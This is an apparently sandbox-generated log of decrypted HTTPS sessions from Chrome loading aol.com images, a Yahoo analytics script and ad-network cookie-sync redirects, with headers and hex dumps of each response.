2024-05-23 22:34:56 UTC	803	OUT	GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_abc_news_articles_665%2Fce9119db9a6a3fd7ce671c453a67258b&client=76f99bdb8f78cd44cc0b&signature=ae1728db52d9d6fbb164d1ce325903df077d73f3 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 9060 Cache-Control: public, max-age=2592000 Cache-Tag: 318986299420864274744631610616410391147,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21980-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 4e170788270adfaa3cec46ad7424e4c3 cld_latency: 329 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:56 GMT Edge-Cache-Tag: 318986299420864274744631610616410391147,367645156490926147778111915858571068248,ae7a14591aaf8d474cdb3f92111c923e Etag: "3ec6a815f36402d01f04fec5d56ac4c8" Last-Modified: Thu, 23 May 2024 19:45:22 GMT Server: ECAcc (lhd/3598) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=400,height=300,bytes=22774,owidth=1600,oheight=900,obytes=132643,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: 4e170788270adfaa3cec46ad7424e4c3 X-Served-By: cache-lga21980-LGA X-Timer: S1716494639.972186,VS0,VE329 Content-Length: 22774 Connection: close
2024-05-23 22:34:56 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 09 06 07 08 07 06 09 08 07 08 0a 0a 09 0b 0d 16 0f 0d 0c 0c 0d 1b 14 15 10 16 20 1d 22 22 20 1d 1f 1f 24 28 34 2c 24 26 31 27 1f 1f 2d 3d 2d 31 35 37 3a 3a 3a 23 2b 3f 44 3f 38 43 34 39 3a 37 ff db 00 43 01 0e 0f 0f 14 11 14 27 15 15 27 51 36 2e 36 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 ff c2 00 11 08 01 2c 01 90 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 00 07 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 03 02 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 be ea e7 cc 27 d3 Data Ascii: JFIFC "" $(4,$&1'-=-157:::#+?D?8C49:7C''Q6.6QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ,'
2024-05-23 22:34:56 UTC	6391	IN	Data Raw: e9 9a 5b 51 85 d4 c7 e4 62 1f 2c ab 1f 1a cb b8 95 91 4a 28 6f f4 99 99 18 5b 48 b2 c6 5d 0d 26 76 d1 a1 3a 1c b9 11 7f a1 3d 3a 9f 61 70 ec 4e eb c8 f4 4c 44 e3 5c e8 dd 0d 98 d7 b8 df e9 b3 3b 20 a9 24 5f 92 e8 ef a3 3b 0f 91 4b d8 5f a1 3d 3a 8e eb 4c 6e d2 7e 59 3a 44 4a 24 ae 3a 3d 20 c7 fa 73 95 22 6e c8 ad 2c 4c b3 be 97 a3 63 74 47 d4 2f d0 c8 7b 99 d7 0b 4e 9d dc 17 96 7d 88 96 26 49 6d 63 2c dc 47 21 df f4 b2 46 d1 22 cd c6 ea 37 59 62 90 c7 2b 14 a8 72 4c 6c c7 cb 17 e8 4f 4c fd 96 9d 2f 6f 2e 47 d8 8f 6d 37 24 4d 29 f2 99 28 b8 f7 25 22 c4 63 9f b3 1a 2b c8 fc 8c c8 b9 d1 ca 8f 19 11 cb 65 e8 d9 1e 47 19 33 67 c9 24 62 5c 0b f4 26 7b 19 df 29 69 d2 f6 f2 e4 7f 50 9f c1 cb ee 28 ad 32 de de 47 a2 13 20 ed 0d 6a b5 5a 32 7d c4 c9 db 1c 59 8d 11 Data Ascii: [Qb,J(o[H]&v:=:apNLD\; $_;K_=:Ln~Y:DJ$:= s"n,LctG/{N}&Imc,G!F"7Yb+rLlOL/o.Gm7$M)(%"c+eG3g$b\&{)iP(2G jZ2}Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.6	49997	185.89.210.46	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	630	OUT	GET /getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1482	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:34:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://secure.adnxs.com/bounce?%2Fgetuid%3Fhttps%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dapn%26i%3D%24UID AN-X-Request-Uuid: 2c4a7263-9c42-4a71-9d7c-2592c7cc7475 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:34:56 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:34:56 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:34:56 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 940.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.6	50000	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-12%2Fe9cc2d60-6982-11ec-b3df-9bd0426ec2ec&client=76f99bdb8f78cd44cc0b&signature=f5d1374db0e429e85fd1964b6c7fb344aaa01682 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53651 Cache-Control: public, max-age=2592000 Cache-Tag: 512400178228102016103639949156204052110,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100112-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 166 Content-Type: image/png Date: Thu, 23 May 2024 22:34:56 GMT Edge-Cache-Tag: 512400178228102016103639949156204052110,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "41b69908079eaf211484da57d9e9b6f3" Expiration: expiry-date="Sat, 27 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 28 Jan 2024 16:17:29 GMT Server: ECAcc (lhd/35C2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=401,owidth=400,oheight=400,obytes=108679,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000067-IAD X-Timer: S1711266043.485278,VS0,VE3 Content-Length: 401 Connection: close
2024-05-23 22:34:56 UTC	401	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 87 50 4c 54 45 47 70 4c ff ff ff e4 e4 e4 fa fa fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fc b8 ba ba cd ce cf ca cb cb a3 a4 a4 a1 a2 a2 e0 e1 e0 e5 e5 e5 71 73 74 8e 90 90 9b 9d 9d bd bf be 20 33 3e dd de dd c2 c4 c5 e8 e8 e8 ac ae ae 88 8c 8f 2c 42 53 d3 d3 d3 62 63 63 b1 b3 b3 84 85 85 89 97 a4 1b 27 2f d7 d7 d7 10 11 12 7a 7c 7c 32 33 34 f7 f7 f7 6f 71 70 3d 5a 76 4c 4c 4e 43 45 44 f1 ea 50 80 00 00 00 0a 74 52 4e 53 00 c3 9c 9c db 32 9c fb 0a 99 3c 8e 9c 5e 00 00 00 af 49 44 41 54 18 d3 5d 8f 37 76 c3 30 00 c5 be 12 52 12 41 aa 77 ab b8 c5 25 e5 fe e7 cb 20 bf 0c c1 88 09 90 24 59 67 92 c4 38 ab 9d 34 c6 7f cc 4b Data Ascii: PNGIHDR(-SPLTEGpLqst 3>,BSbcc'/z\|\|234oqp=ZvLLNCEDPtRNS2<^IDAT]7v0RAw% $Yg84K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.6	49999	152.199.23.180	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	637	OUT	GET /tag/opus.js HTTP/1.1 Host: opus.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:56 UTC	560	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 20319 Content-Security-Policy: default-src https:; script-src https: 'unsafe-inline'; style-src https: 'unsafe-inline' Content-Type: application/javascript Date: Thu, 23 May 2024 22:34:56 GMT Etag: "87c8b2684a96c97513b8d60729d7a932" Last-Modified: Thu, 16 May 2024 16:54:02 GMT Server: ECAcc (lhd/35B2) Vary: Accept-Encoding x-amz-id-2: j9pDian8MEyYykogW+59tv96/zQumabSc9838Uoh+P+jx3JG9vgY0JB3mY5YxL2889Cs0eiWLMw= x-amz-request-id: 5P8EKXKQS7E59SRY X-Cache: HIT Content-Length: 8650 Connection: close
2024-05-23 22:34:56 UTC	8650	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 6d 61 74 63 68 28 2f 5b 5c 77 5d 2b 5c 2e 28 5b 5c 77 5d 2b 7c 63 6f 2e 75 6b 29 24 2f 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 22 22 7d 7d 3b 63 6f 6e 73 74 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 65 3d 22 22 2e 63 6f 6e 63 61 74 28 74 2c 22 3d 22 29 2c 6f 3d 28 6e 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 61 3d 30 3b 61 3c 6f 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 Data Ascii: (()=>{"use strict";var t=function(t){if(t)return t;try{return document.location.hostname.match(/[\w]+\.([\w]+\|co.uk)$/)[0]}catch(t){return""}};const n=function(t,n){for(var e="".concat(t,"="),o=(n\|\|window.document).cookie.split(";"),a=0;a<o.length;a++){va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.6	50010	64.74.236.127	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	746	OUT	GET /usersync/gumgum/?puid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN&cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__ HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	697	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 218 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: /usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=0&gdpr_consent=&puid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&s=2&us_privacy=1YNN P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4; Path=/; Domain=zemanta.com; Expires=Fri, 23 May 2025 22:34:56 GMT; Max-Age=31536000; Secure; SameSite=None Date: Thu, 23 May 2024 22:34:56 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-05-23 22:34:56 UTC	218	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 2f 75 73 65 72 73 79 6e 63 2f 67 75 6d 67 75 6d 2f 3f 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 25 32 46 75 73 65 72 73 79 6e 63 25 33 46 62 25 33 44 7a 65 6d 25 32 36 69 25 33 44 5f 5f 5a 55 49 44 5f 5f 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 70 75 69 64 3d 65 5f 31 32 65 61 31 64 64 32 2d 37 37 66 30 2d 34 39 64 38 2d 38 61 65 66 2d 39 30 37 36 38 65 31 32 64 37 61 63 26 61 6d 70 3b 73 3d 32 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="/usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=0&gdpr_consent=&puid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&s=2&us_privacy=1YNN">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.6	50007	54.165.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	612	OUT	GET /sync?nid=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1329	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 23 May 2024 22:34:56 GMT Location: https://usersync.gumgum.com/usersync?b=sta&i=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175 Set-Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCCQib-yBjABOgT87-jmQgTyVnXP.E45gq9hya5Nv1NRfp5pA0NcenT6KPMIL4Fw9pUjGZxY; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Content-Length: 126 Connection: Close
2024-05-23 22:34:56 UTC	126	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 73 74 61 26 61 6d 70 3b 69 3d 30 2d 63 30 33 34 36 32 64 64 2d 38 64 35 37 2d 35 61 65 37 2d 36 64 63 39 2d 65 37 33 39 32 38 61 62 65 33 65 65 24 69 70 24 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=sta&i=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.6	50001	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F575bc790-355f-11eb-ad7b-2304a1f8730f&client=76f99bdb8f78cd44cc0b&signature=9b569f872b6a38596add6accc7576c1eae74c4ee HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	1509	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2560431 Cache-Control: public, max-age=2592000 Cache-Tag: 437559623224935281181735502381789763861,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-chi-kigq8000062-CHI cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 85 Content-Type: image/png Date: Thu, 23 May 2024 22:34:56 GMT Edge-Cache-Tag: 437559623224935281181735502381789763861,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "4e60d49658a9f45adeb0f4a371574f52" Expiration: expiry-date="Sun, 21 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 22 Jan 2024 13:39:49 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35CC) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=354,owidth=400,oheight=400,obytes=38740,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21953-LGA X-Timer: S1711351266.554213,VS0,VE66 Content-Length: 354 Connection: close
2024-05-23 22:34:56 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 69 50 4c 54 45 47 70 4c ff ff ff ff 48 51 ff 00 16 ff ff ff ff ff ff ff 09 1c ff ff ff ff ff ff ff ff ff ff 00 16 ff 00 16 ff ff ff 00 00 00 ff 0a 1d d6 d6 d6 16 16 16 4f 4f 4f 85 85 85 1e 1e 1e ba ba ba 3a 3a 3a a8 a8 a8 77 77 77 65 65 65 90 90 90 9c 9c 9c c6 c6 c6 6b 6b 6b fa fa fa ee ee ee 31 31 31 58 58 58 2e 2e 2e 0c 0c 0c ff 13 d3 39 00 00 00 0c 74 52 4e 53 00 c1 09 31 f9 d9 99 99 09 31 d9 f9 ae d3 ab 93 00 00 00 9c 49 44 41 54 18 19 55 c1 89 92 c2 20 14 04 c0 89 42 1e e8 cc 02 b9 13 ef fd ff 8f 5c 2c 2d cb ed c6 53 34 ef 9c b7 88 97 60 7c b3 80 2a 34 fc 68 02 00 e3 90 73 62 ca 39 df 56 03 22 b9 48 1d 93 fa 7b d6 16 61 bc e4 5e 0f 26 15 0e ba Data Ascii: PNGIHDR(-SiPLTEGpLHQOOO:::wwweeekkk111XXX...9tRNS11IDATU B\,-S4`\|*4hsb9V"H{a^&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.6	50012	52.72.151.87	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:56 UTC	767	OUT	GET /d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=0&gdpr_consent=&us_privacy=1YNN&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:56 UTC	460	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 23 May 2024 22:34:56 GMT Location: https://usersync.gumgum.com/usersync?b=vnt&i=6a235f9e-9b26-4d12-95f6-f4919d5fecf1 Set-Cookie: cu=6a235f9e-9b26-4d12-95f6-f4919d5fecf1\|1716503696554; Path=/; Domain=ipredictive.com; Expires=Fri, 23 May 2025 22:34:56 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: e49c44dc-9df9-402c-bca9-58ea20a41f7b Content-Length: 108 Connection: Close
2024-05-23 22:34:56 UTC	108	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 76 6e 74 26 61 6d 70 3b 69 3d 36 61 32 33 35 66 39 65 2d 39 62 32 36 2d 34 64 31 32 2d 39 35 66 36 2d 66 34 39 31 39 64 35 66 65 63 66 31 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=vnt&i=6a235f9e-9b26-4d12-95f6-f4919d5fecf1">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.6	50002	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
